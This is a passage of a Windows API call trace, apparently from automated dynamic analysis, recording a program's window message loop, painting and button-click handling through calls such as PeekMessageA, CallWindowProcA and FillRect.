(lpMsg=0x18ff1c) returned 0 [0267.135] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.135] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.135] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.135] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.135] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.135] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.136] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.136] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.136] WindowFromPoint (Point=0x2e8) returned 0x1034c [0267.136] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.136] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.136] GetCurrentProcessId () returned 0x8d0 [0267.136] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.136] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.136] GetCapture () returned 0x0 [0267.136] WaitMessage () returned 1 [0267.198] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.198] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.198] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.198] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.199] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.199] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.199] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.199] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.199] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.199] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.199] WindowFromPoint (Point=0x2eb) returned 0x1034c [0267.199] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21702eb) returned 0x1 [0267.200] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.200] GetCurrentProcessId () returned 0x8d0 [0267.200] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.200] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.200] GetCapture () returned 0x0 [0267.200] WaitMessage () returned 1 [0267.276] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.276] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.276] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.276] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.276] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.276] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.276] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.276] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.277] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0267.277] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0267.277] WindowFromPoint (Point=0x2e8) returned 0x1034c [0267.277] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.277] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0267.277] GetCurrentProcessId () returned 0x8d0 [0267.277] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.277] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0267.277] GetCapture () returned 0x0 [0267.277] WaitMessage () returned 1 [0267.286] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.286] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x210, wParam=0x201, lParam=0xcd00e9) returned 0x0 [0267.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x210, wParam=0x201, lParam=0xcd00e9) returned 0x0 [0267.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x210, wParam=0x201, lParam=0x1150111) returned 0x0 [0267.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x210, wParam=0x201, lParam=0x1150111) returned 0x0 [0267.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x210, wParam=0x201, lParam=0x1150111) returned 0x0 [0267.287] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0267.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0267.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0267.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0267.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0267.287] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0267.288] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=744, y=538)) returned 1 [0267.288] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0267.288] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x20, wParam=0x1034c, lParam=0x2010001) returned 0x0 [0267.288] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x20, wParam=0x1034c, lParam=0x2010001) returned 0x0 [0267.288] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1034c, lParam=0x2010001) returned 0x0 [0267.288] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1034c, lParam=0x2010001) returned 0x0 [0267.288] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1034c, lParam=0x2010001) returned 0x0 [0267.288] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1034c, lParam=0x2010001) returned 0x0 [0267.288] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.288] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.288] GetFocus () returned 0x20322 [0267.288] SetFocus (hWnd=0x1034c) returned 0x20322 [0267.288] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x8, wParam=0x1034c, lParam=0x0) returned 0x0 [0267.289] GetWindowThreadProcessId (in: hWnd=0x20322, lpdwProcessId=0x18e768 | out: lpdwProcessId=0x18e768) returned 0x8cc [0267.289] GetCurrentProcessId () returned 0x8d0 [0267.289] GetPropA (hWnd=0x20322, lpString=0xc167) returned 0x2c878a0 [0267.289] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0267.289] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0267.289] SendMessageA (hWnd=0x20322, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0267.290] SendMessageA (hWnd=0x1034c, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0267.290] GetClientRect (in: hWnd=0x1034c, lpRect=0x18fb64 | out: lpRect=0x18fb64) returned 1 [0267.290] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0267.290] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0267.290] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0267.290] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0267.290] IsIconic (hWnd=0xc0060) returned 0 [0267.290] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0267.290] IsIconic (hWnd=0xc0060) returned 0 [0267.290] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0267.290] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0267.290] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1543569409 [0267.290] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0267.290] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x7, wParam=0x20322, lParam=0x0) returned 0x0 [0267.290] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f850 | out: lpdwProcessId=0x18f850) returned 0x8cc [0267.290] GetCurrentProcessId () returned 0x8d0 [0267.290] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.290] GetFocus () returned 0x1034c [0267.290] GetCapture () returned 0x0 [0267.290] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xb004, wParam=0x0, lParam=0x2c87bd0) returned 0x0 [0267.290] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x201, wParam=0x1, lParam=0x900e9) returned 0x0 [0267.290] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf3, wParam=0x1, lParam=0x0) returned 0x0 [0267.291] GetKeyState (nVirtKey=18) returned 1 [0267.291] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.291] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.291] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.291] GetCapture () returned 0x1034c [0267.291] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x202, wParam=0x0, lParam=0x900e9) returned 0x0 [0267.291] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf3, wParam=0x0, lParam=0x0) returned 0x0 [0267.291] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0267.291] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f9e4 | out: lpdwProcessId=0x18f9e4) returned 0x8cc [0267.291] GetCurrentProcessId () returned 0x8d0 [0267.291] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.291] GetWindowLongA (hWnd=0x1034c, nIndex=-16) returned 1409286148 [0267.291] SetWindowLongA (hWnd=0x1034c, nIndex=-16, dwNewLong=1409351684) returned 1409286148 [0267.291] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f910) returned 0x0 [0267.291] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f910) returned 0x0 [0267.292] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xb028, wParam=0x0, lParam=0x0) returned 0x0 [0267.292] SendMessageA (hWnd=0x1034c, Msg=0xf1, wParam=0x1, lParam=0x0) returned 0x0 [0267.292] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf1, wParam=0x1, lParam=0x0) returned 0x0 [0267.292] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f600) returned 0x0 [0267.292] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f600) returned 0x0 [0267.292] GetWindowLongA (hWnd=0x1034a, nIndex=-16) returned 1409351684 [0267.292] SetWindowLongA (hWnd=0x1034a, nIndex=-16, dwNewLong=1409286148) returned 1409351684 [0267.292] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f8e4) returned 0x0 [0267.293] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f8e4) returned 0x0 [0267.293] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xb028, wParam=0x0, lParam=0x0) returned 0x0 [0267.293] SendMessageA (hWnd=0x1034a, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0267.293] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0267.293] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f5d4) returned 0x0 [0267.293] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f5d4) returned 0x0 [0267.293] EnableWindow (hWnd=0x10340, bEnable=1) returned 1 [0267.293] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0267.294] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x1b0106ca, lParam=0x10340) returned 0xe100186 [0267.294] GetSysColor (nIndex=8) returned 0x0 [0267.294] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0267.294] GetSysColor (nIndex=15) returned 0xf0f0f0 [0267.294] SetBkColor (hdc=0x1b0106ca, color=0xf0f0f0) returned 0xffffff [0267.294] IsIconic (hWnd=0xc0060) returned 0 [0267.294] IsIconic (hWnd=0xc0060) returned 0 [0267.294] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f1e0 | out: lpRect=0x18f1e0) returned 1 [0267.294] FillRect (hDC=0x200107d7, lprc=0x18f1e0, hbr=0xe100186) returned 1 [0267.294] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x200107d7, lParam=0x4) returned 0x0 [0267.294] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x200107d7, lParam=0x10340) returned 0xe100186 [0267.295] GetSysColor (nIndex=8) returned 0x0 [0267.295] SetTextColor (hdc=0x200107d7, color=0x0) returned 0x0 [0267.295] GetSysColor (nIndex=15) returned 0xf0f0f0 [0267.295] SetBkColor (hdc=0x200107d7, color=0xf0f0f0) returned 0xffffff [0267.295] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f008 | out: lpdwProcessId=0x18f008) returned 0x8cc [0267.295] GetCurrentProcessId () returned 0x8d0 [0267.295] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0267.295] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f2f0) returned 0x0 [0267.295] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f008 | out: lpdwProcessId=0x18f008) returned 0x8cc [0267.295] GetCurrentProcessId () returned 0x8d0 [0267.295] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0267.295] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f2f0) returned 0x0 [0267.295] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0267.295] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e1c4) returned 0x7 [0267.296] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e19c) returned 0x7 [0267.296] IsIconic (hWnd=0xc0060) returned 0 [0267.296] IsIconic (hWnd=0xc0060) returned 0 [0267.296] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f1e0 | out: lpRect=0x18f1e0) returned 1 [0267.296] FillRect (hDC=0x3a01069e, lprc=0x18f1e0, hbr=0xe100186) returned 1 [0267.296] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3a01069e, lParam=0x4) returned 0x0 [0267.296] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3a01069e, lParam=0x10340) returned 0xe100186 [0267.296] GetSysColor (nIndex=8) returned 0x0 [0267.297] SetTextColor (hdc=0x3a01069e, color=0x0) returned 0x0 [0267.297] GetSysColor (nIndex=15) returned 0xf0f0f0 [0267.297] SetBkColor (hdc=0x3a01069e, color=0xf0f0f0) returned 0xffffff [0267.297] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f008 | out: lpdwProcessId=0x18f008) returned 0x8cc [0267.297] GetCurrentProcessId () returned 0x8d0 [0267.297] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0267.297] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f2f0) returned 0x0 [0267.297] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f008 | out: lpdwProcessId=0x18f008) returned 0x8cc [0267.297] GetCurrentProcessId () returned 0x8d0 [0267.297] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0267.297] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f2f0) returned 0x0 [0267.298] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0267.298] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e1c4) returned 0x7 [0267.298] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e19c) returned 0x7 [0267.299] GetKeyState (nVirtKey=18) returned 1 [0267.299] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.299] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.299] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=744, y=538)) returned 1 [0267.299] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0267.300] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.300] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.300] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.300] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.300] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.300] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1034c, lParam=0x2000001) returned 0x0 [0267.300] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.301] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.301] GetCapture () returned 0x0 [0267.301] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0267.301] WindowFromPoint (Point=0x2e8) returned 0x1034c [0267.301] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0267.301] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0267.301] GetCurrentProcessId () returned 0x8d0 [0267.301] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.301] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0267.301] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x200, wParam=0x0, lParam=0x900e9) returned 0x0 [0267.301] GetKeyState (nVirtKey=18) returned 1 [0267.301] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.302] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.302] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.302] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.303] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0267.303] FillRect (hDC=0x34010b67, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0267.303] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x34010b67, lParam=0x4) returned 0x0 [0267.303] SendMessageA (hWnd=0x1034c, Msg=0xbd38, wParam=0x34010b67, lParam=0x1034c) returned 0xe100186 [0267.303] GetSysColor (nIndex=8) returned 0x0 [0267.303] SetTextColor (hdc=0x34010b67, color=0x0) returned 0x0 [0267.303] GetSysColor (nIndex=15) returned 0xf0f0f0 [0267.303] SetBkColor (hdc=0x34010b67, color=0xf0f0f0) returned 0xffffff [0267.304] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.304] GetCurrentProcessId () returned 0x8d0 [0267.304] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.304] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0267.304] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.304] GetCurrentProcessId () returned 0x8d0 [0267.304] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.304] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0267.304] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0267.304] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x18, lParam=0x18e7f8) returned 0x17 [0267.305] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x30, lParam=0x18e7d0) returned 0x17 [0267.305] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0267.305] FillRect (hDC=0x200107ab, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0267.305] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x200107ab, lParam=0x4) returned 0x0 [0267.306] SendMessageA (hWnd=0x1034c, Msg=0xbd38, wParam=0x200107ab, lParam=0x1034c) returned 0xe100186 [0267.306] GetSysColor (nIndex=8) returned 0x0 [0267.306] SetTextColor (hdc=0x200107ab, color=0x0) returned 0x0 [0267.306] GetSysColor (nIndex=15) returned 0xf0f0f0 [0267.306] SetBkColor (hdc=0x200107ab, color=0xf0f0f0) returned 0xffffff [0267.306] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.306] GetCurrentProcessId () returned 0x8d0 [0267.306] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.306] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0267.306] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0267.306] GetCurrentProcessId () returned 0x8d0 [0267.306] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0267.306] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0267.307] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0267.307] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x18, lParam=0x18e7f8) returned 0x17 [0267.307] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x30, lParam=0x18e7d0) returned 0x17 [0267.308] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0267.308] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0267.308] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0267.308] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0267.308] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0267.308] FillRect (hDC=0x55010177, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0267.308] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x55010177, lParam=0x4) returned 0x0 [0267.309] SendMessageA (hWnd=0x1034a, Msg=0xbd38, wParam=0x55010177, lParam=0x1034a) returned 0xe100186 [0267.309] GetSysColor (nIndex=8) returned 0x0 [0267.309] 